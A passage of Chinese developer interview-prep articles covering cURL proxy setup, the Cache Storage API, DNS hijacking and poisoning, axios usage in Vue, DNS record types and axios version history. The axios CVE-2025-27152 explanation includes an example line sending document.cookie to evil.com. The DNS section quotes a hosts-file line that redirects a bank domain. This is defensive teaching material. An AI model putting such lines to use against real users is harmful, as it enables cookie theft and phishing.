或认证选 SOCKS5；隐私场景选 SOCKS5h。代理认证代理服务器通常需要身份验证。cURL 支持三种认证方式：# 方式一：在代理 URL 中嵌入凭据curl -x http://user:password@proxy.example.com:8080 https://api.example.com# 方式二：用 -U 单独指定凭据curl -x http://proxy.example.com:8080 -U user:password https://api.example.com# NTLM 认证（Windows 域环境常见）curl -x http://proxy.example.com:8080 --proxy-ntlm -U user:password https://api.example.com# Digest 认证curl -x http://proxy.example.com:8080 --proxy-digest -U user:password https://api.example.com注意：-U 方式下密码会出现在进程列表中。在共享服务器上，优先用 ~/.curlrc 或环境变量 CURL_PROXY_USER 来避免密码暴露。环境变量与持久化配置每次手动指定代理很繁琐，cURL 会自动读取以下环境变量：# 设置代理环境变量export http_proxy="http://proxy.example.com:8080"export https_proxy="http://proxy.example.com:8080"export no_proxy="localhost,127.0.0.1,.example.com"# 设置后直接使用，无需 -x 参数curl https://api.example.com# 临时忽略环境变量curl --noproxy "*" https://api.example.com小写变量名（httpproxy）是通用约定，大写（HTTPPROXY）部分工具也会读取。no_proxy 指定不走代理的域名，支持通配符。更持久的方案是写入配置文件：# ~/.curlrcproxy = "http://proxy.example.com:8080"proxy-user = "username:password"noproxy = "localhost,127.0.0.1"写入后所有 cURL 请求默认走代理。需要临时跳过时用 curl -q（忽略 .curlrc）或 --noproxy。代理绕过并非所有请求都需要走代理。内网地址、本地服务应该直连：# 绕过指定域名curl --noproxy "localhost,127.0.0.1,internal.example.com" \ -x http://proxy.example.com:8080 \ https://api.example.com# 绕过所有代理（直连）curl --noproxy "*" https://api.example.com--noproxy 的值支持逗号分隔的域名列表，也支持 .example.com 这样的域名后缀匹配。代理调试技巧代理不工作时，按以下步骤排查：# 第一步：查看完整的连接过程curl -v -x http://proxy.example.com:8080 https://api.example.com 2>&1 | grep -i proxy# 第二步：测试代理本身是否可达curl -v -x http://proxy.example.com:8080 http://www.google.com# 第三步：通过代理查看出口 IP（确认代理生效）curl -x http://proxy.example.com:8080 https://api.ipify.org如果 -v 输出中看到 Connected to proxy.example.com 说明到代理的连接成功；如果卡在 Proxy auth required 说明认证问题；如果完全没有 proxy 相关输出，检查环境变量是否被正确加载。高级配置代理隧道：HTTP 代理默认用 CONNECT 方法为 HTTPS 建立隧道。某些旧代理不支持 CONNECT，可以显式指定：curl -x http://proxy.example.com:8080 --proxy-tunnel https://api.example.com自定义代理请求头：某些代理会校验 User-Agent，可以通过 --proxy-header 添加：curl --proxy-header "User-Agent: MyApp/1.0" \ -x http://proxy.example.com:8080 \ https://api.example.com代理 TLS 配置：HTTPS 代理可能要求特定的 TLS 版本或证书：# 指定 TLS 版本curl -x https://proxy.example.com:443 --proxy-tlsv1.2 https://api.example.com# 指定代理 CA 证书curl -x https://proxy.example.com:443 --proxy-cacert /path/to/proxy-ca.crt https://api.example.com# 跳过代理证书验证（仅调试用）curl -x https://proxy.example.com:443 --proxy-insecure https://api.example.com实战场景场景一：企业内网访问外部 API企业网络通常有统一出口代理，需要域账号认证：curl -x http://corporate-proxy.company.com:8080 \ --proxy-ntlm \ -U "COMPANY\\username:password" \ --noproxy "localhost,127.0.0.1,*.internal.company.com" \ https://api.github.com/user注意 Windows 域用户名中的反斜杠需要转义为 \\。--noproxy 确保内网地址不走代理。场景二：用 SSH 隧道做临时代理没有代理服务器时，可以借助远程机器创建 SOCKS 代理：# 先在本地建立 SSH 隧道（后台运行）ssh -D 1080 -f -C -q -N user@remote-server# 然后通过隧道访问curl -x socks5h://localhost:1080 https://api.example.com-D 1080 在本地 1080 端口开 SOCKS 代理，-f -C -q -N 让 SSH 在后台压缩静默运行。用完后 kill 对应 SSH 进程即可。场景三：配合抓包工具调试Charles 或 Fiddler 本质上是 HTTP 代理，默认监听 8888 端口：curl -x http://localhost:8888 -k https://api.example.com-k 跳过证书验证，因为抓包工具使用自签证书。调试 HTTPS 请求时这一步必不可少。常见问题代理连接超时默认超时可能太短，特别是跨地域代理。增加超时：curl -x http://proxy.example.com:8080 --connect-timeout 30 --max-time 60 https://api.example.comHTTPS 通过 HTTP 代理失败正常情况下 HTTP 代理会自动用 CONNECT 方法处理 HTTPS。如果失败，检查代理是否禁止了 CONNECT，或者显式启用隧道：curl -x http://proxy.example.com:8080 --proxy-tunnel https://api.example.comDNS 泄露使用 socks5 代理时，DNS 请求仍在本地发出，可能暴露访问意图。换成 socks5h 让代理端解析 DNS：curl -x socks5h://proxy.example.com:1080 https://api.example.com代理认证失败先确认认证类型。大多数代理用 Basic 认证，企业环境可能用 NTLM 或 Digest。用 -v 查看代理返回的 Proxy-Authenticate 头，确定认证方式后再加对应参数。

Cache Storage API 是 Service Worker 中管理请求/响应对缓存的接口，支持离线访问和性能优化，是前端 PWA 和面试的高频考点。核心答案Cache Storage API 做什么？ 在 Service Worker 中以代码驱动的方式缓存网络请求和响应，实现对缓存内容的完全控制，替代传统的 HTTP 缓存启发式策略。关键方法速记：caches.open(name) — 打开/创建命名缓存cache.add(url) / cache.addAll(urls) — fetch 并缓存cache.put(req, res) — 手动存储请求/响应对cache.match(req) / caches.match(req) — 检索缓存（后者跨所有缓存）cache.delete(req) / caches.delete(name) — 删除缓存项或整个缓存caches.keys() — 列出所有缓存名称与 HTTP 缓存的关系： Cache Storage 是应用层缓存，优先级高于 HTTP 缓存；浏览器填充 Cache Storage 时仍会检查 HTTP 缓存。建议对带版本哈希的资源设置 Cache-Control: max-age=31536000，其余资源配合 Service Worker 手动管理。基本使用// install 阶段预缓存静态资源const CACHE_NAME = 'app-v1';const ASSETS = ['/', '/index.html', '/styles.css', '/app.js'];self.addEventListener('install', event => { event.waitUntil( caches.open(CACHE_NAME) .then(cache => cache.addAll(ASSETS)) .then(() => self.skipWaiting()) );});// activate 阶段清理旧缓存self.addEventListener('activate', event => { event.waitUntil( caches.keys().then(names => Promise.all( names.filter(n => n !== CACHE_NAME).map(n => caches.delete(n)) ) ) );});三种缓存策略面试中最常问的缓存策略，根据场景选择：Cache First（缓存优先）适用场景：静态资源、字体、图片等不常变化的内容。self.addEventListener('fetch', event => { event.respondWith( caches.match(event.request).then(cached => { return cached || fetch(event.request).then(response => { const clone = response.clone(); caches.open('dynamic-v1').then(cache => cache.put(event.request, clone)); return response; }); }) );});Network First（网络优先）适用场景：API 请求、频繁更新的内容。self.addEventListener('fetch', event => { event.respondWith( fetch(event.request).then(response => { const clone = response.clone(); caches.open('api-v1').then(cache => cache.put(event.request, clone)); return response; }).catch(() => caches.match(event.request)) );});Stale-While-Revalidate（先用缓存，后台更新）适用场景：非关键数据，可接受短暂过期。self.addEventListener('fetch', event => { event.respondWith( caches.open('swr-v1').then(cache => cache.match(event.request).then(cached => { const fetchPromise = fetch(event.request).then(response => { cache.put(event.request, response.clone()); return response; }); return cached || fetchPromise; }) ) );});关键注意事项Response 只能消费一次// 错误：Response body 被消耗后无法再次使用const res = await fetch('/api/data');await cache.put(request, res);return res; // 已消耗，返回空// 正确：clone() 创建副本const res = await fetch('/api/data');await cache.put(request, res.clone());return res;缓存匹配规则// 默认严格匹配 URL（含查询参数）await cache.match('/api/data'); // 不匹配 /api/data?id=1// 使用选项放宽匹配await cache.match(request, { ignoreSearch: true, // 忽略查询参数 ignoreMethod: true, // 忽略 HTTP 方法 ignoreVary: true // 忽略 Vary 头});存储配额if ('storage' in navigator && 'estimate' in navigator.storage) { const { usage, quota } = await navigator.storage.estimate(); console.log(`已用 ${(usage / 1024 / 1024).toFixed(1)}MB，配额 ${(quota / 1024 / 1024).toFixed(0)}MB`);}超出配额后浏览器会按 LRU 策略清理，建议控制缓存数量上限：async function trimCache(name, maxItems) { const cache = await caches.open(name); const keys = await cache.keys(); if (keys.length > maxItems) { await Promise.all(keys.slice(0, keys.length - maxItems).map(k => cache.delete(k))); }}常见面试追问Q: Cache Storage 和 localStorage 有什么区别？localStorage 是同步的、容量小（约5MB）、只能存字符串；Cache Storage 是异步的、容量大（通常数百MB）、专门存储 Request/Response 对象，适合缓存网络资源。Q: 页面主线程能直接用 Cache Storage 吗？能。caches 对象在 window 和 Service Worker 中都可用，但缓存策略的拦截逻辑必须在 Service Worker 的 fetch 事件中实现。Q: 如何让用户获取到更新后的缓存？修改缓存版本号（如 app-v1 → app-v2），新 Service Worker install 后会在 activate 事件中清理旧缓存。注意页面需要关闭再打开才会激活新 Service Worker，也可用 skipWaiting() + clients.claim() 立即生效。

DNS 劫持和 DNS 污染是两种常见但机制不同的 DNS 安全威胁，面试中经常被放在一起考察。核心区别在于：劫持是"改配置"，污染是"投缓存"。下面逐一拆解。DNS 劫持：篡改解析配置，将用户引向恶意站点DNS 劫持的实质是攻击者控制了 DNS 解析链路上的某个环节，把域名指向非预期的 IP 地址。用户以为自己访问的是银行官网，实际到达的却是钓鱼页面。劫持的四种典型路径本地劫持——修改 /etc/hosts 或系统 DNS 配置，影响范围仅限单机。恶意软件常用这种方式，一行 192.168.1.100 www.bank.com 就能把用户导流到钓鱼站。路由器劫持——利用路由器默认密码或固件漏洞，将 WAN 口的 DNS 服务器地址改成攻击者控制的地址。所有连入该路由器的设备全部受影响，这是家用场景中最常见的形式。ISP 劫持——运营商级别的 DNS 服务器被篡改或故意配置，返回错误解析结果。某些 ISP 甚至会把不存在的域名解析到自己的广告页面，这就是典型的 NXDOMAIN 劫持。权威 DNS 劫持——攻击者入侵域名注册商账户，修改 NS 记录，把整个域名的解析权交给自己的 DNS 服务器。2016 年 Dyn 攻击事件中，大量知名网站因此无法访问。DNS 劫持的危害一旦劫持成功，用户面临的风险包括：被导向钓鱼网站窃取账号密码、遭遇广告注入、被诱导下载恶意软件，以及隐私信息被窃听。DNS 污染：向缓存注入假记录，让错误解析扩散DNS 污染（又称 DNS 缓存投毒 / DNS Spoofing）的攻击目标不是配置，而是 DNS 服务器的缓存。攻击者抢在合法响应到达之前，向递归 DNS 服务器发送大量伪造的 DNS 响应，让虚假记录被缓存，后续所有查询该域名的用户都会拿到错误的 IP。Kaminsky 攻击：DNS 污染的经典案例2008 年 Dan Kaminsky 发现了一个影响整个互联网的 DNS 漏洞。传统 DNS 查询使用固定源端口和可预测的事务 ID，攻击者只需伪造一个匹配的响应即可投毒成功。Kaminsky 攻击利用这一弱点，通过大量并行请求和暴力猜测事务 ID，在数秒内就能污染递归服务器的缓存。这一发现直接推动了 DNSSEC 的加速部署，也促使 DNS 实现引入了源端口随机化和事务 ID 随机化。DNS 污染与 DNS 劫持的对比| 对比维度 | DNS 劫持 | DNS 污染 || --- | --- | --- || 攻击目标 | DNS 配置或服务器控制权 | DNS 递归服务器的缓存 || 攻击手段 | 修改 hosts / 路由器 / 注册商账户 | 伪造 DNS 响应抢占缓存 || 持续性 | 持续有效，直到配置被恢复 | 受 TTL 约束，过期后需重新投毒 || 影响范围 | 取决于被攻陷的层级 | 影响所有使用该缓存的用户 || 检测难度 | 相对容易，配置可对比 | 较难，缓存内容不易察觉 |防范措施：从协议层到应用层的多层防御DNSSEC：从协议层保障解析可信DNSSEC 通过为 DNS 记录添加数字签名，让解析器能验证响应的真实性和完整性。工作流程：权威服务器用私钥签名记录 → 解析器用公钥验证签名 → 验证通过才采纳结果。DNSSEC 能有效抵御缓存投毒和欺骗攻击，但部署需要整条信任链支持，且会增加响应包大小，部分老旧基础设施可能不兼容。加密 DNS 查询：DoH / DoT / DoQDNS 查询默认使用明文 UDP 传输，很容易被中间人窃听和篡改。加密传输是解决这一问题的直接手段。DNS over HTTPS (DoH)：通过 HTTPS 加密 DNS 查询，使用 443 端口，流量混在普通 Web 流量中，难以被识别和拦截。Cloudflare 的 1.1.1.1 和 Google 的 8.8.8.8 都已支持 DoH。DNS over TLS (DoT)：使用 TLS 加密，专用 853 端口，协议更轻量但容易被识别和过滤。DNS over QUIC (DoQ)：基于 QUIC 协议，兼具加密和低延迟优势，2022 年成为 IETF 标准（RFC 9250），是目前最新的加密 DNS 传输方案。QUIC 的连接迁移特性还解决了传统 UDP 查询在网络切换时丢包的问题。使用可信的公共 DNS| 服务商 | IPv4 地址 | 特点 || --- | --- | --- || Cloudflare | 1.1.1.1 | 速度快，支持 DoH/DoT/DoQ || Google | 8.8.8.8 | 稳定可靠，全球覆盖 || Quad9 | 9.9.9.9 | 内置恶意域名拦截 || 阿里 DNS | 223.5.5.5 | 国内访问速度快 |定期检查与加固客户端层面，定期检查 hosts 文件和 DNS 配置是否被篡改，用 dig @1.1.1.1 example.com 对比可信 DNS 的解析结果。路由器层面，修改默认管理密码、禁用远程管理、保持固件更新。企业环境还应部署内部递归解析器，强制 DNSSEC 验证，并在网络边界封锁直连 53 端口的流量。应用层防护HSTS（HTTP Strict Transport Security）通过响应头 Strict-Transport-Security: max-age=31536000; includeSubDomains 强制浏览器使用 HTTPS，防止 SSL 剥离攻击。Certificate Pinning 在应用内内置服务器证书指纹，即使 DNS 被劫持，恶意站点的证书也无法通过验证。RPKI（Resource Public Key Infrastructure）通过验证 BGP 路由公告的合法性，防止 BGP 劫持间接导致的 DNS 解析异常，是 2026 年网络基础设施安全的重要组成。检测 DNS 异常的方法多 DNS 对比是最直接的方式：分别用 dig 向不同 DNS 服务器查询同一域名，结果不一致就说明存在异常。在线工具如 DNSChecker.org 和 WhatsMyDNS.net 可以从全球多个节点检测解析结果。企业环境建议部署 PassiveDNS 建立解析基线，监控 NXDOMAIN 请求激增和关键域名 TTL 异常变化，设置告警。总结DNS 劫持改配置，DNS 污染投缓存，两者攻击路径不同但都指向同一个目标——把用户导到错误的地方。防御的核心思路是多层叠加：DNSSEC 验证响应真实性，DoH/DoT/DoQ 加密查询防篡改，可信 DNS 减少被攻击面，HSTS 和 Certificate Pinning 在应用层兜底。面试中讲清楚"劫持改配置、污染投缓存"这个核心区别，再补充 Kaminsky 攻击和加密 DNS 的演进，基本就够了。

在 Vue 项目中使用 axios 不是简单地调用接口，而是要围绕 Vue 的响应式系统和生命周期做正确的事——请求取消、加载状态、错误处理、逻辑复用，每一环都影响工程质量。下面从面试最常问的封装方式出发，逐步走到 Vue 3 组合式 API 的最佳实践。为什么需要封装 axios？直接在每个组件里 import axios 发请求，看似简单，实则埋下三个隐患：配置散落各处难以统一修改、错误处理逻辑重复书写、换 HTTP 库时要改遍整个项目。封装的核心目的是收拢变化点，让业务代码只关心"调哪个接口、传什么参数"。基础封装：创建请求实例拦截器处理通用逻辑// utils/request.jsimport axios from 'axios'import { ElMessage } from 'element-plus'const service = axios.create({ baseURL: import.meta.env.VITE_API_BASE_URL, timeout: 15000, headers: { 'Content-Type': 'application/json' }})// 请求拦截：注入 token、防缓存service.interceptors.request.use(config => { const token = localStorage.getItem('token') if (token) { config.headers.Authorization = `Bearer ${token}` } if (config.method === 'get') { config.params = { ...config.params, _t: Date.now() } } return config})// 响应拦截：统一错误处理service.interceptors.response.use( response => { const res = response.data if (res.code !== 200) { ElMessage.error(res.message || '请求失败') return Promise.reject(new Error(res.message)) } return res.data }, error => { if (error.response) { const { status } = error.response if (status === 401) { ElMessage.error('登录已过期') localStorage.removeItem('token') window.location.href = '/login' } else if (status === 403) { ElMessage.error('没有权限') } else if (status === 500) { ElMessage.error('服务器错误') } } else { ElMessage.error('网络异常，请检查连接') } return Promise.reject(error) })export default service拦截器要遵循一个原则：只处理通用逻辑，业务特殊逻辑留在调用方。比如某些接口 401 不需要跳登录页，应该让调用方自己处理，拦截器可以通过 config._skipAuthRedirect 这样的标记来跳过。按模块组织 API 函数// api/user.jsimport request from '@/utils/request'export const userApi = { getInfo: () => request.get('/user/info'), updateInfo: data => request.put('/user/info', data), uploadAvatar: file => { const formData = new FormData() formData.append('file', file) return request.post('/user/avatar', formData, { headers: { 'Content-Type': 'multipart/form-data' } }) }}// api/article.jsexport const articleApi = { getList: params => request.get('/articles', { params }), getDetail: id => request.get(`/articles/${id}`), create: data => request.post('/articles', data)}API 函数层的作用是把 URL 和参数格式从组件中剥离，组件只调函数，不关心路径和字段名。后续接口变更只改这一层。Vue 3 组合式 API 中使用 axios基本用法与请求取消Vue 3 组件中发请求，必须处理两件事：加载状态和组件卸载时取消请求。不取消请求会导致卸载后 setState 报错，或者数据错乱。<script setup>import { ref, onMounted, onUnmounted } from 'vue'import { userApi } from '@/api/user'const user = ref(null)const loading = ref(false)const error = ref(null)let controller = nullconst fetchUser = async () => { if (controller) controller.abort() controller = new AbortController() loading.value = true error.value = null try { user.value = await userApi.getInfo({ signal: controller.signal }) } catch (err) { if (err.name !== 'AbortError') { error.value = err.message } } finally { loading.value = false }}onMounted(fetchUser)onUnmounted(() => controller?.abort())</script>关键点：用 AbortController 代替已废弃的 CancelToken，每次请求前取消上一次未完成的请求，onUnmounted 里再兜底一次。封装通用 Composable每个组件都写一遍 loading/error/cancel 逻辑显然不现实，抽成可复用的组合函数：// composables/useRequest.jsimport { ref, onUnmounted } from 'vue'export function useRequest(apiFn, options = {}) { const { immediate = false } = options const data = ref(null) const loading = ref(false) const error = ref(null) let controller = null const execute = async (...params) => { if (controller) controller.abort() controller = new AbortController() loading.value = true error.value = null try { data.value = await apiFn(...params, { signal: controller.signal }) return data.value } catch (err) { if (err.name !== 'AbortError') { error.value = err throw err } } finally { loading.value = false } } onUnmounted(() => controller?.abort()) if (immediate) execute() return { data, loading, error, execute }}组件中使用变得极简：<script setup>import { useRequest } from '@/composables/useRequest'import { userApi } from '@/api/user'const { data: user, loading, error, execute: refresh } = useRequest( userApi.getInfo, { immediate: true })</script>结合 Pinia 管理全局状态当多个组件需要共享同一份接口数据时（比如用户信息），Composable 就不够用了，应该用 Pinia：// stores/user.jsimport { defineStore } from 'pinia'import { ref, computed } from 'vue'import { userApi } from '@/api/user'export const useUserStore = defineStore('user', () => { const userInfo = ref(null) const loading = ref(false) const isLoggedIn = computed(() => !!userInfo.value) const fetchUserInfo = async () => { loading.value = true try { userInfo.value = await userApi.getInfo() } finally { loading.value = false } } const logout = () => { userInfo.value = null localStorage.removeItem('token') } return { userInfo, loading, isLoggedIn, fetchUserInfo, logout }})选择 Composable 还是 Pinia 的判断标准：数据是否跨组件共享。只在一个组件内用，Composable 足够；多个组件都要读同一份数据，用 Pinia。进阶：重试与请求防抖自动重试机制网络波动导致的偶发失败，自动重试比直接报错体验好得多：// utils/retry.jsexport function withRetry(requestFn, retries = 2, delay = 1000) { return async (...args) => { let lastError for (let i = 0; i <= retries; i++) { try { return await requestFn(...args) } catch (err) { lastError = err if (i < retries) { await new Promise(resolve => setTimeout(resolve, delay * (i + 1))) } } } throw lastError }}// 使用const fetchWithRetry = withRetry(userApi.getInfo, 2, 800)搜索防抖搜索场景下，用户每输入一个字符就发请求既浪费又卡顿，必须防抖：// composables/useDebouncedRequest.jsimport { ref, watch } from 'vue'export function useDebouncedRequest(apiFn, wait = 400) { const loading = ref(false) let timer = null const execute = (keyword) => { clearTimeout(timer) return new Promise((resolve, reject) => { timer = setTimeout(async () => { loading.value = true try { resolve(await apiFn(keyword)) } catch (err) { reject(err) } finally { loading.value = false } }, wait) }) } return { execute, loading }}Vue 2 项目中的注意事项Vue 2 没有组合式 API，但有相同的诉求。核心差异两点：请求取消用 CancelToken（Vue 2 项目通常用旧版 axios），在 beforeDestroy 钩子中调用 cancel()逻辑复用用 mixin，但 mixin 有命名冲突风险，优先用独立的工具函数// Vue 2 组件内export default { data() { return { user: null, loading: false } }, created() { this.cancelToken = axios.CancelToken.source() this.fetchUser() }, beforeDestroy() { this.cancelToken.cancel('组件销毁') }, methods: { async fetchUser() { this.loading = true try { const { data } = await userApi.getInfo({ cancelToken: this.cancelToken.token }) this.user = data } catch (err) { if (!axios.isCancel(err)) console.error(err) } finally { this.loading = false } } }}总结：axios 在 Vue 项目中的核心原则回答面试题时，抓住这三条主线：封装收拢变化（实例、拦截器、API 模块化）、组合式 API 复用逻辑（Composable 抽 loading/error/cancel、Pinia 管共享状态）、边界场景兜底（请求取消、重试、防抖）。能讲清为什么这么做，比贴完整代码更有说服力。

A 记录把域名直接指向 IP 地址，CNAME 记录把域名指向另一个域名。这是两者最根本的区别，但它带来的连锁影响远不止于此——根域名能不能用 CNAME、CNAME 为什么不能和其他记录共存、CDN 接入该选哪种记录，都源于这个根本差异。A 记录：域名到 IP 的直接映射A 记录（Address Record）将域名直接解析到 IPv4 地址，是 DNS 最基础的记录类型。www.example.com. 3600 IN A 192.0.2.1一条 A 记录就是一次直接映射：查询 www.example.com，DNS 服务器直接返回 IP 地址，不需要额外查询。同一个域名可以配置多条 A 记录指向不同 IP，DNS 服务器会轮询返回，实现简单的负载均衡：www.example.com. 3600 IN A 192.0.2.1www.example.com. 3600 IN A 192.0.2.2www.example.com. 3600 IN A 192.0.2.3A 记录的关键特性：查询效率最高，一次 DNS 查询即可获得 IP根域名（如 example.com）可以使用 A 记录可以与 MX、TXT、SRV 等其他记录类型共存IP 变更时需要手动修改每条 A 记录CNAME 记录：域名的别名CNAME 记录（Canonical Name Record）创建域名的别名，指向另一个域名而非 IP 地址：blog.example.com. 3600 IN CNAME example.github.io.解析 CNAME 时，DNS 客户端需要再做一次查询才能拿到最终 IP：查询 blog.example.com → 返回 CNAME: example.github.io. → 再查询 example.github.io. → 返回 IP: 185.199.108.153这就意味着 CNAME 的解析比 A 记录多一次查询，增加了 10-50ms 的延迟（具体取决于目标域名是否已缓存）。CNAME 的关键特性：目标 IP 变化时自动跟随，无需手动修改多个子域名可以指向同一个目标，管理方便适合接入 CDN、GitHub Pages 等第三方服务不能用于根域名不能与同一域名下的其他记录类型共存核心区别对比| 维度 | A 记录 | CNAME 记录 ||------|--------|------------|| 指向目标 | IPv4 地址 | 另一个域名 || DNS 查询次数 | 1 次 | 至少 2 次 || 根域名是否可用 | 可用 | 不可用 || 能否与其他记录共存 | 可以 | 不可以 || IP 变更时的维护 | 需手动逐条修改 | 自动跟随目标域名 || 典型场景 | 自有服务器、根域名 | CDN、第三方托管 |CNAME 的三个重要限制1. 根域名不能使用 CNAME; 错误@ 3600 IN CNAME example.herokuapp.com.; 正确@ 3600 IN A 192.0.2.1原因在于 RFC 1034 的规定：根域名必须同时存在 NS 记录和 SOA 记录，而 CNAME 不允许与其他记录类型共存。如果根域名设了 CNAME，DNS 就无法正常返回 NS 和 SOA 记录，整个域名的解析会出问题。2. CNAME 不能与其他记录共存; 错误：CNAME 与 MX 记录冲突www.example.com. 3600 IN CNAME example.com.www.example.com. 3600 IN MX 10 mail.example.com.RFC 规定，一个域名一旦设置了 CNAME 记录，就不能再设置任何其他记录（DNSSEC 的 RRSIG 除外）。这是因为 CNAME 的语义是"我就是另一个名字"，所有对这个域名的查询都应该被重定向到目标域名去处理。如果允许共存，DNS 服务器在返回 CNAME 的同时还需要返回其他记录，会造成语义冲突。这意味着：如果一个子域名需要配置 MX 记录（收邮件）或 TXT 记录（SPF 验证），就不能用 CNAME，只能用 A 记录。3. CNAME 链不宜过长; 不推荐：多级 CNAME 链a.example.com → b.example.com → c.example.com → d.example.com; 推荐：直接指向最终目标a.example.com → final-target.com每一级 CNAME 都增加一次 DNS 查询和解析延迟。实际使用中建议 CNAME 链不超过 2-3 级。某些 DNS 解析器对超过 5-8 级的 CNAME 链会直接返回错误（SERVFAIL）。实际场景怎么选自有服务器 — 用 A 记录www.example.com. 3600 IN A 192.0.2.1mail.example.com. 3600 IN A 192.0.2.2@ 3600 IN A 192.0.2.1IP 地址在你自己控制之下，变更频率低，A 记录性能最优。CDN 加速 — 用 CNAMEwww.example.com. 3600 IN CNAME example.cdn-provider.com.CDN 的边缘节点 IP 会频繁调整，CNAME 让你不需要追踪这些 IP 变化。第三方托管服务 — 用 CNAMEblog.example.com. 3600 IN CNAME username.github.io.app.example.com. 3600 IN CNAME example-app.herokuapp.com.www.example.com. 3600 IN CNAME cname.vercel-dns.com.GitHub Pages、Vercel、Heroku 这类服务的 IP 可能随时变化，CNAME 自动跟随。根域名指向第三方服务 — 特殊处理根域名不能用 CNAME，但很多场景又需要指向第三方服务。有两种解决方案：方案一：CNAME Flattening（推荐）Cloudflare 等服务商支持在根域名上配置 CNAME，但实际解析时由 DNS 服务器将 CNAME 展开为 A 记录返回：@ 3600 IN CNAME example.cdn-provider.com.; DNS 服务器解析时自动展开为 A 记录返回给客户端客户端拿到的是 A 记录，不存在记录冲突问题，同时 IP 变更由服务商自动处理。方案二：A 记录 + 手动维护@ 3600 IN A 203.0.113.1@ 3600 IN A 203.0.113.2向服务商获取其 IP 地址，直接配置 A 记录。缺点是 IP 变更时需要手动更新。需要邮件服务的子域名 — 用 A 记录mail.example.com. 3600 IN A 192.0.2.2mail.example.com. 3600 IN MX 10 mail.example.com.mail.example.com. 3600 IN TXT "v=spf1 ip4:192.0.2.2 ~all"因为 MX 和 TXT 记录与 CNAME 冲突，只能选 A 记录。面试常见追问为什么根域名不能用 CNAME？RFC 1034 规定 CNAME 不能与其他记录类型共存，而根域名必须有 NS 和 SOA 记录。如果根域名设了 CNAME，NS 和 SOA 记录就无法存在，DNS 解析链会断裂。CNAME Flattening 通过在服务端将 CNAME 展开为 A 记录来绕过这个限制，但严格来说它已经不是标准 CNAME 行为了。CNAME 和 A 记录能同时存在吗？不能。RFC 规定同一域名下 CNAME 与其他记录互斥。如果同时配置，大部分 DNS 服务器会忽略 CNAME 记录，只返回 A 记录。CNAME 的性能损失有多大？CNAME 多一次 DNS 查询，增加 10-50ms 延迟。但现代 DNS 递归服务器会缓存中间结果，第二次查询通常命中缓存，实际影响可忽略。真正需要关注的是 CNAME 链过长导致的累积延迟和解析失败风险。DNAME 和 CNAME 有什么区别？CNAME 为单个域名创建别名，DNAME 为整个子域名树创建别名。比如 example.com DNAME example.org 会让 www.example.com 自动解析为 www.example.org。DNAME 在实际中使用较少，主要见于域名迁移场景。速查表| 场景 | 推荐记录 | 原因 ||------|----------|------|| 根域名 | A / ALIAS / CNAME Flattening | CNAME 不允许 || 自有服务器 | A 记录 | 性能最优 || CDN 接入 | CNAME | IP 自动跟随 || GitHub Pages / Vercel 等 | CNAME | 第三方 IP 变更时无需手动维护 || 需要邮件验证的域名 | A 记录 | CNAME 与 MX/TXT 冲突 || 多子域名统一指向 | CNAME | 改一处生效全部 |

Axios 是前端最常用的 HTTP 客户端之一，从 2014 年发布 0.1.0 到 2026 年的 1.16.x，经历了多次重大版本变更和安全修复。掌握这些变化不仅有助于日常项目维护，也是前端面试中的高频考点。版本演进全景Axios 的版本发展可以分为三个阶段：0.x 探索期（2014-2022）、1.0 稳定期（2022-2024）、安全强化期（2025-2026）。每个阶段都有影响开发者使用方式的关键变更。里程碑版本速览| 版本 | 时间 | 核心变更 ||------|------|----------|| 0.1.0 | 2014 | 初始发布，基于 Promise 的 HTTP 客户端 || 0.9.0 | 2015 | 引入拦截器机制 || 0.12.0 | 2016 | 添加 CancelToken 取消请求 || 0.16.0 | 2017 | 支持 async/await || 0.18.0 | 2018 | 修复 XSS 漏洞 || 0.19.0 | 2019 | 改进错误处理，引入 validateStatus || 0.21.0 | 2020 | 重大安全更新 || 1.0.0 | 2022 | 正式版，CancelToken 废弃，推荐 AbortController || 1.6.0 | 2023 | 支持 Fetch API 适配器 || 1.8.0 | 2025 | 引入 allowAbsoluteUrls 配置 || 1.13.0 | 2025 | 支持 HTTP/2 || 1.15.0 | 2026 | 修复多个严重安全漏洞 || 1.16.1 | 2026 | 支持 QUERY 方法，安全加固 |0.x 时期的关键变更validateStatus 让错误处理更灵活（v0.19.0）0.19.0 之前，只要服务端返回非 2xx 状态码，axios 就会抛出错误进入 catch。这在某些场景下不够灵活——比如 404 在业务逻辑中可能是正常情况。// 0.19.0 之后：自定义哪些状态码才算错误axios.get("/api/user", { validateStatus: function (status) { return status < 500; // 只有 500+ 才抛错 },});TypeScript 泛型支持（v0.20.0）0.20.0 改进了类型定义，支持泛型参数，告别了 response.data 的 any 类型。interface User { id: number; name: string;}// 泛型推断，response.data 类型为 Userconst { data } = await axios.get<User>("/api/user");1.0 正式版的重大变更CancelToken 废弃，改用 AbortController这是 1.0 最大的破坏性变更。CancelToken 是 axios 自建的取消机制，而 AbortController 是 Web 标准API，两者在用法和语义上完全不同。// 旧写法（已废弃）const source = axios.CancelToken.source();axios.get("/api/data", { cancelToken: source.token });source.cancel("取消请求");// 新写法（推荐）const controller = new AbortController();axios.get("/api/data", { signal: controller.signal });controller.abort("取消请求");迁移时需要注意两点：abort() 调用后 signal 不可复用，需要新建 AbortController；cancel() 的错误对象是 CancelError，而 abort() 抛出的是 DOMException。请求参数序列化行为变更1.x 对 URL 参数的序列化规则做了调整：null 值序列化为空字符串，undefined 值直接忽略，嵌套对象使用方括号表示法。如果后端依赖旧的序列化格式，升级后可能出现参数丢失。// 1.x 的序列化结果// { a: null, b: undefined, c: { d: 1 } } → a=&c[d]=1Fetch API 适配器（v1.6.0）1.6.0 引入了 Fetch API 适配器，让 axios 可以基于浏览器原生 fetch 运行，不再依赖 XMLHttpRequest。// 使用 fetch 适配器const instance = axios.create({ adapter: "fetch" });// 条件选择适配器const instance = axios.create({ adapter: typeof window !== "undefined" && "fetch" in window ? "fetch" : "xhr",});2025-2026 安全修复风暴2025 年以来 axios 集中修复了多个高危安全漏洞，这些 CVE 直接影响线上项目的安全性，是面试中区分深度的关键知识点。CVE-2025-27152：绝对 URL 导致 SSRF 和凭证泄露影响版本：≤ 1.7.9。当请求路径传入绝对 URL 时，即使设置了 baseURL，axios 仍会将请求发送到该绝对 URL 指向的地址，攻击者可以利用这一点发起 SSRF 攻击并窃取认证信息。1.8.0 引入了 allowAbsoluteUrls 配置项来控制此行为，1.8.2 修复了此漏洞。// 风险场景：baseURL 被绕过const client = axios.create({ baseURL: "https://api.example.com" });// 攻击者控制路径参数时，请求可能发往外部域名client.get("https://evil.com/steal?cookie=" + document.cookie);// 修复：禁用绝对 URLconst client = axios.create({ baseURL: "https://api.example.com", allowAbsoluteUrls: 